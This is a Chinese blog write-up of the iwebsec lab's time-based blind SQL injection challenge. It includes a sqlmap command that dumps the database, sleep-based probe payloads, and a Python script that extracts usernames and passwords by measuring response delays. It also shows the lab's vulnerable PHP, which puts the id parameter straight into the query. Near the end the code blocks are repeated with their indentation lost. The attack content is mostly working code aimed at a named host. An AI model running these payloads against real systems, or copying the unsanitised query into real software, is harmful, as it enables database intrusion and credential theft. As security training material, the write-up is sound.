2023-08-18 18:59阅读: 165评论: 0推荐: 0

iwebsec-sql注入 04 时间延迟型注入

1.iwebsec-sql注入 01 数字型注入2023-08-18 2.iwebsec-sql注入 02 字符型注入2023-08-18 3.iwebsec-sql注入 03 bool型注入2023-08-18

4.iwebsec-sql注入 04 时间延迟型注入2023-08-18

01、题目分析：

三大盲注中的时间型注入，当查询语句正常的时候，不会有什么返回值或者回显，唯一的特征就是可以通过sleep函数来判断sql语句是否正确，也就是说，当有办法能判断输入语句是否正确的时候，步骤就和bool盲注一样了，话不多说，直接先让我们伟大的sqlmap跑起来

02、sqlmap工具注入：

一把梭

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/04.php?id=1"  --current-db --dump --batch

03、手工注入：

盲注，简单的来讲就是无论你输入什么内容，页面都不会出现错误提示，如果查询结果正确就显示类似查询成功或者其他的，错误就不会显示。所以注入思路其实就是一个个猜，比如数据库名的长度是6个吗，看看是否正确，没显示继续猜，正确就猜数据库名第一个字母是a吗，是b吗......这样一直猜，猜出来数据库名，表名，列名，数据等等

众所周知时间注入比布尔注入耗时更久，因为布尔判断是否正确能快速回显，而时间判断是否正确只能通过页面的加载时间慢了几秒，所以也只提供思路

 -- 延迟：
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
 
-- 布尔：
-- 检查数据库名称的长度是否为7
and length(database())=7;
-- 检查数据库名称是否以字母 'p' 开头
and left(database(),1)='p';
-- 检查数据库名称是否以字母 'pi' 开头
and left(database(),2)='pi';
-- 检查数据库名称中的第一个字符是否为 'p'
and substr(database(),1,1)='p';
-- 检查数据库名称中的第二个字符是否为 'i'
and substr(database(),2,1)='i';
-- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码)
and ord(left(database(),1))=112;

04、手工脚本注入：

这个地方直接借用refeng大佬的脚本

暴力破解法：

 # @Author:refeng
import requests
 
url = "http://www.bdrwmy.cn:8001/sqli/04.php?id=1  and "
 
result = ''
i = 0
 
while True:
    i = i + 1
    head = 32
    tail = 127
 
    while head < tail:
        mid = (head + tail) >> 1
        #爆库
        # payload = f"1=if(ascii(substr((select  database() ),{i},1))>{mid},sleep(2),1) --+"
        #爆表
        # payload = f"1=if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema='iwebsec' ),{i},1))>{mid},sleep(2),1) --+"
        #爆列
        # payload = f"1=if(ascii(substr((select  group_concat(column_name) from information_schema.columns where table_name='user' ),{i},1))>{mid},sleep(2),1) --+"
        #爆数据
        payload = f"1=if(ascii(substr((select  group_concat(concat_ws('~',username,password)) from iwebsec.user ),{i},1))>{mid},sleep(2),1) --+"
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1
 
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

05、代码分析

 <?php
 
require_once('../header.php'); // 引入头部文件
require_once('db.php'); // 引入数据库连接文件
?>
<html>
<head>
    <title>MySQL sleep SQLi</title> // 设置网页标题
</head>
<h2>MySQL sleep SQLi</h2> // 页面标题
<div class="alert alert-success">
    <p>/04.php?id=1 </p> // 提示用户输入参数的示例
</div>
<body>
<?php
if (isset($_GET['id'])) { // 检查是否存在 "id" 参数
    $id = $_GET['id']; // 获取 "id" 参数的值
 
    // 创建 SQL 查询语句
    $sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result = mysql_query($sql); // 执行查询
} else {
    exit(); // 如果不存在 "id" 参数，则终止代码执行
}
 
if ($result) { // 检查查询结果是否存在
    ?>
    <table class='table table-striped'> // 创建表格
    <?php
    while ($row = mysql_fetch_assoc($result)) {
        echo "<tr>"; // 输出表格行
        // echo "iwebsec";
        echo "</tr>"; // 结束表格行
    }
    echo '<div class="alert alert-success">';
    echo "<p>welcome to iwebsec!!!</p></div>"; // 输出欢迎消息
    echo "</tr>"; // 结束表格行
} else {
    // 输出错误消息
    // echo '<font color= "#FFFFFF">';
    echo '<div class="alert alert-success">';
    echo "<p>welcome to iwebsec!!!</p></div>"; // 输出欢迎消息
    echo "</tr>"; // 结束表格行
    // echo "</font>";
}
?>

上一篇iwebsec-sql注入 03 bool型注入

下一篇iwebsec-sql注入 05 报错型注入

posted @ 2023-08-18 18:59 别打扰我摸鱼阅读(165) 评论(0) 编辑收藏举报

刷新页面返回顶部

登录后才能查看或发表评论，立即登录或者逛逛博客园首页

bdrwmy

iwebsec-sql注入 04 时间延迟型注入

01、题目分析：

02、sqlmap工具注入：

03、手工注入：

04、手工脚本注入：

05、代码分析

公告

搜索

常用链接

我的标签

合集

随笔分类

随笔档案

文章分类

相册

阅读排行榜

	-- 延迟：
	and sleep(1);
	and if(1>2,sleep(1),0);
	and if(1<2,sleep(1),0);

	-- 布尔：
	-- 检查数据库名称的长度是否为7
	and length(database())=7;
	-- 检查数据库名称是否以字母 'p' 开头
	and left(database(),1)='p';
	-- 检查数据库名称是否以字母 'pi' 开头
	and left(database(),2)='pi';
	-- 检查数据库名称中的第一个字符是否为 'p'
	and substr(database(),1,1)='p';
	-- 检查数据库名称中的第二个字符是否为 'i'
	and substr(database(),2,1)='i';
	-- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码)
	and ord(left(database(),1))=112;

	# @Author:refeng
	import requests

	url = "http://www.bdrwmy.cn:8001/sqli/04.php?id=1 and "

	result = ''
	i = 0

	while True:
	i = i + 1
	head = 32
	tail = 127

	while head < tail:
	mid = (head + tail) >> 1
	#爆库
	# payload = f"1=if(ascii(substr((select database() ),{i},1))>{mid},sleep(2),1) --+"
	#爆表
	# payload = f"1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='iwebsec' ),{i},1))>{mid},sleep(2),1) --+"
	#爆列
	# payload = f"1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user' ),{i},1))>{mid},sleep(2),1) --+"
	#爆数据
	payload = f"1=if(ascii(substr((select group_concat(concat_ws('~',username,password)) from iwebsec.user ),{i},1))>{mid},sleep(2),1) --+"
	try:
	r = requests.get(url + payload, timeout=0.5)
	tail = mid
	except Exception as e:
	head = mid + 1

	if head != 32:
	result += chr(head)
	else:
	break
	print(result)

	<?php

	require_once('../header.php'); // 引入头部文件
	require_once('db.php'); // 引入数据库连接文件
	?>
	<html>
	<head>
	<title>MySQL sleep SQLi</title> // 设置网页标题
	</head>
	<h2>MySQL sleep SQLi</h2> // 页面标题
	<div class="alert alert-success">
	<p>/04.php?id=1 </p> // 提示用户输入参数的示例
	</div>
	<body>
	<?php
	if (isset($_GET['id'])) { // 检查是否存在 "id" 参数
	$id = $_GET['id']; // 获取 "id" 参数的值

	// 创建 SQL 查询语句
	$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";
	$result = mysql_query($sql); // 执行查询
	} else {
	exit(); // 如果不存在 "id" 参数，则终止代码执行
	}

	if ($result) { // 检查查询结果是否存在
	?>
	<table class='table table-striped'> // 创建表格
	<?php
	while ($row = mysql_fetch_assoc($result)) {
	echo "<tr>"; // 输出表格行
	// echo "iwebsec";
	echo "</tr>"; // 结束表格行
	}
	echo '<div class="alert alert-success">';
	echo "<p>welcome to iwebsec!!!</p></div>"; // 输出欢迎消息
	echo "</tr>"; // 结束表格行
	} else {
	// 输出错误消息
	// echo '<font color= "#FFFFFF">';
	echo '<div class="alert alert-success">';
	echo "<p>welcome to iwebsec!!!</p></div>"; // 输出欢迎消息
	echo "</tr>"; // 结束表格行
	// echo "</font>";
	}
	?>